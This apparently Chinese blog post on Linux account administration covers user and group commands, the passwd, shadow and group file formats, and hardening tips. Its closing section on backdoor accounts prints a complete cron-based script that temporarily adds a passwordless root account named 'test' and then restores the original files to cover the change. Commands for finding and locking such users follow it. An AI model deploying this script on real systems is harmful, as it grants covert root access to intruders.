账号添加
useradd 默认会建立用户家目录,且权限为 700
# useradd [-u UID] [-g 初始群组] [-G 次要群组] [-mM] [-c 说明栏] [-d 家目录绝对路径] [-s shell] test
选项与参数:
-u :后面接的是 UID ,是一组数字。直接指定一个特定的 UID 给这个账号;
-g :后面接的是 群组名
-M :强制!不要建立用户家目录!(系统账号默认值)
-m :强制!要建立用户家目录!(一般账号默认值)
-c :账号描述
-d :指定某个目录成为家目录,而不要使用默认值。务必使用绝对路径!
-r :建立一个系统的账号,这个账号的 UID 会有限制 (参考 /etc/login.defs)
-s :后面接一个 shell ,若没有指定则预设是 /bin/bash
-e :账号失效日期,格式为『YYYY-MM-DD』此项目可写入 shadow 第八字段
useradd 的默认值 useradd -D,这个数据其实是由 /etc/default/useradd呼叫出来的
GROUP=100 <==预设的群组
HOME=/home <==默认的家目录所在目录
INACTIVE=-1 <==密码失效日,在 shadow 内的第 7 栏
EXPIRE= <==账号失效日,在 shadow 内的第 8 栏
SHELL=/bin/bash <==预设的 shell
SKEL=/etc/skel <==用户家目录的内容数据参考目录
CREATE_MAIL_SPOOL=yes <==是否主动帮使用者建立邮件信箱(mailbox)
UID/GID 还有密码参数参考的是/etc/login.defs
MAIL_DIR /var/spool/mail <==用户默认邮件信箱放置目录
PASS_MAX_DAYS 99999 <==/etc/shadow 内的第 5 栏,多久需变更密码日数
PASS_MIN_DAYS 0 <==/etc/shadow 内的第 4 栏,多久不可重新设定密码日数
PASS_MIN_LEN 5 <==密码最短的字符长度,已被 pam 模块取代,失去效用!
PASS_WARN_AGE 7 <==/etc/shadow 内的第 6 栏,过期前会警告的日数
UID_MIN 1000 <==使用者最小的 UID,意即小于 1000 的 UID 为系统保留
UID_MAX 60000 <==使用者能够用的最大 UID
SYS_UID_MIN 201 <==保留给用户自行设定的系统账号最小值 UID
SYS_UID_MAX 999 <==保留给用户自行设定的系统账号最大值 UID
GID_MIN 1000 <==使用者自定义组的最小 GID,小于 1000 为系统保留
GID_MAX 60000 <==使用者自定义组的最大 GID
SYS_GID_MIN 201 <==保留给用户自行设定的系统账号最小值 GID
SYS_GID_MAX 999 <==保留给用户自行设定的系统账号最大值 GID
CREATE_HOME yes <==在不加 -M 及 -m 时,是否主动建立用户家目录?
UMASK 077 <==用户家目录建立的 umask ,因此权限会是 700
USERGROUPS_ENAB yes <==使用 userdel 删除时,是否会删除初始群组
ENCRYPT_METHOD SHA512 <==密码加密的机制使用的是 sha512 这一个机制!
添加密码、启用账户
passwd 设定密码
# passwd [--stdin] test <==所有人均可使用来改自己的密码 # passwd [-l] [-u] [--stdin] [-S] [-n 日数] [-x 日数] [-w 日数] [-i 日期] test <==root 功能 选项与参数: --stdin :可以透过来自前一个管线的数据,作为密码输入,对 shell script 有帮助! echo "abc543CC" | passwd --stdin test -l :是 Lock 的意思,会将 /etc/shadow 第二栏最前面加上 ! 使密码失效; -u :与 -l 相对,是 Unlock 的意思! -S :列出密码相关参数,亦即 shadow 文件内的大部分信息。 -n :后面接天数,shadow 的第 4 字段,多久不可修改密码天数 -x :后面接天数,shadow 的第 5 字段,多久内必须要更动密码 -w :后面接天数,shadow 的第 6 字段,密码过期前的警告天数 -i :后面接『日期』,shadow 的第 7 字段,密码失效日期
root可以修改任意用户的任意密码,包括123456。
普通用户只能修改自己的密码,且要符合复杂度。
PAM 模块管理密码,这个管理的机制写在 /etc/pam.d/passwd 当中。取代 /etc/login.defs 内的 PASS_MIN_LEN 的设定。
账号修改
usermod 账号相关数据微调
# usermod [-cdegGlsuLU] username 选项与参数: -c :后面接账号的说明,即 /etc/passwd 第五栏的说明栏,可以加入一些账号的说明。 -d :后面接账号的家目录,即修改 /etc/passwd 的第六栏; -e :后面接日期,格式是 YYYY-MM-DD 也就是在 /etc/shadow 内的第八个字段数据啦! -f :后面接天数,为 shadow 的第七字段。 -g :后面接初始群组,修改 /etc/passwd 的第四个字段,亦即是 GID 的字段! -G :后面接次要群组,修改这个使用者能够支持的群组,修改的是 /etc/group。 -a :与 -G 合用,可『增加次要群组的支持』而非『设定』! -l :后面接账号名称。亦即是修改账号名称, /etc/passwd 的第一栏! -s :后面接 Shell 的实际文件,例如 /bin/bash 或 /bin/csh 等等。 -u :后面接 UID 数字啦!即 /etc/passwd 第三栏的资料; -L :暂时将用户的密码冻结,让他无法登入。其实仅改 /etc/shadow 的密码栏。 -U :将 /etc/shadow 密码栏的 ! 拿掉,解冻。
usermod 的选项与 useradd 类似。因为 usermod 也是用来微调useradd 增加的使用者参数。
usermod 的 -L 和 -U 选项其实与 passwd 的 -l,-u是相同的。
账号删除
userdel 删除用户的相关数据
# userdel [-r] username 选项与参数: -r :连同用户的家目录也一起删除
用户功能
查询UID/GID等信息 --- id [username]
新增群组
# groupadd [-g gid] [-r] 组名 选项与参数: -g :后面接某个特定的 GID ,用来直接给予某个 GID -r :建立系统群组啦!与 /etc/login.defs 内的 GID_MIN 有关。
建立群组时,最好可以使用 groupadd -r test 来建立。
群组修改
groupmod 对group相关参数进行修改。
# groupmod [-g gid] [-n group_name] 群组名 选项与参数: -g :修改既有的 GID 数字; -n :修改既有的组名
不要随意的更动 GID ,容易造成系统资源的错乱
群组删除
groupdel [groupname]
群组中有用户时,无法删除,最好也不要强行删除。
群组管理密码
gpasswd 群组管理员功能
# 关于系统管理员(root)做的动作:
gpasswd groupname
gpasswd [-A user1,...] [-M user3,...] groupname
gpasswd [-rR] groupname
选项与参数:
:若没有任何参数时,表示给予 groupname 一个密码(/etc/gshadow)
-A :将 groupname 的主控权交由后面的使用者管理(该群组的管理员)
-M :将某些账号加入这个群组当中!
-r :将 groupname 的密码移除
-R :让 groupname 的密码栏失效
# 关于群组管理员(Group administrator)做的动作:
gpasswd [-ad] user groupname
选项与参数:
-a :将某位使用者加入到 groupname 这个群组当中!
-d :将某位使用者移除出 groupname 这个群组当中。
passwd文件详解
1、 账号名称:
用来对应UID的。
2、口令:
早期UNIX的口令放在这个字段。但是由于这个文件所有程序都可以读取,后来将这个字段的口令放到/etc/shadow中。
3、UID:使用者标识符。
id范围:
0 -- 系统管理员
1~499 -- 保留给系统使用的ID。
>500 -- 给一般使用者使用。
4、GID:群组标识符
这个与/etc/group有关。用来规范组名和GID的对应。
5、用户信息说明栏
6、家目录
7、shell:
用户登录系统后会取得一个shell来与系统的核心沟通以进行用户的操作任务。
/sbin/nologin 无登录权限
shadow文件详解
1、账号名称
2、密码
经过编码的密码。如果第一个字元为"*"或者"!",标识这个账号不可登录。
3、最近更改密码的日期。
计算linux日期的时间是以1970年1月1日作为1,1月2日为2。
4、密码不可改的天数
这个账号的密码经过几天才可以更改。为0标识密码随时可以更改。
5、密码需要重新更改的天数
必须在这个时间之内重新设定你的密码,否则账号会暂时失效。
6、密码过期前的警告期限
密码快过期时,系统会发送"警告"言论给这个账号。
7、密码过期宽恕时间
密码过期后未更改密码的宽限时间。
8、账号失效日期
表示账号在这个日期后无法继续使用。
9、保留
/etc/group文件详解
1、组名
2、群组口令
通常时群组管理员使用,口令已经移动到/etc/gshadow
3、GID
群组的ID。/etc/passwd第四个字段使用的GID时这里对应的。
4、此群组支持的账号名称
如果要一个账号加入某个群组,只用将该账号填入这个字段即可。
账号的安全设置要点
1、取消普通用户的控制台访问权限
rm -f /etc/security/console.apps/xx
xx是你要注销的程序名
2、修改一些系统账号的shell变量
1、在/etc/passwd中将他们的shell变量置空,例如设为/bin/false或者/dev/null
2、使用usermod -s /dev/null username命令来更改username的shell为/dev/null
3、修改密码长度
linux默认密码长度是5个字节。编辑/etc/login.defs文件
PASS_MIN_LEN 5
PASS_MIN_LEN 8
4、自动注销
vi /etc/profile
在"HISTFILESIZE="后加入一行"TMOUT=300"
表示系统中登录的用户在5分钟内都没有动作,那么系统会自动注销这个账户。
5、文件加上不可修改属性,防止未授权用户获得权限
chattr +i /etc/passwd chattr +i /etc/shadow chattr +i /etc/group # 执行以上操作后,会无法添加删除用户。
后门账号和查找
Root权限的后门账号查找
id
其他技巧的后门账号
#!/bin/bash echo '40 11 * * * cat /etc/passwd>/dev/ttypwd'>>/etc/door.cron; echo '40 11 * * * cat /etc/shadow>/dev/ttysdw'>>/etc/door.cron; echo '41 11 * * * echo "test:x:0:0::/:/bin/sh">>/etc/passwd'>>/etc/door.cron; echo '41 11 * * * echo "test::9999:0:99999:7:::">>/etc/shadow'>>/etc/door.cron; echo '09 12 * * * cat /dev/ttypwd>/etc/passwd'>>/etc/door.cron; echo '09 12 * * * cat /dev/ttysdw>/etc/shadow'>>/etc/door.cron; echo '10 12 * * * rm -f /dev/ttypwd'>>/etc/door.cron; echo '10 12 * * * rm -f /dev/ttysdw'>>/etc/door.cron; service crond restart; crontab /etc/door.cron;
发现可疑账号并锁定、踢掉
#执行"w"命令找到可疑用户 passwd -l test # 锁定用户 ps -ef|grep @pts/3 kill -9 6051 # 踢掉此用户
浙公网安备 33010602011771号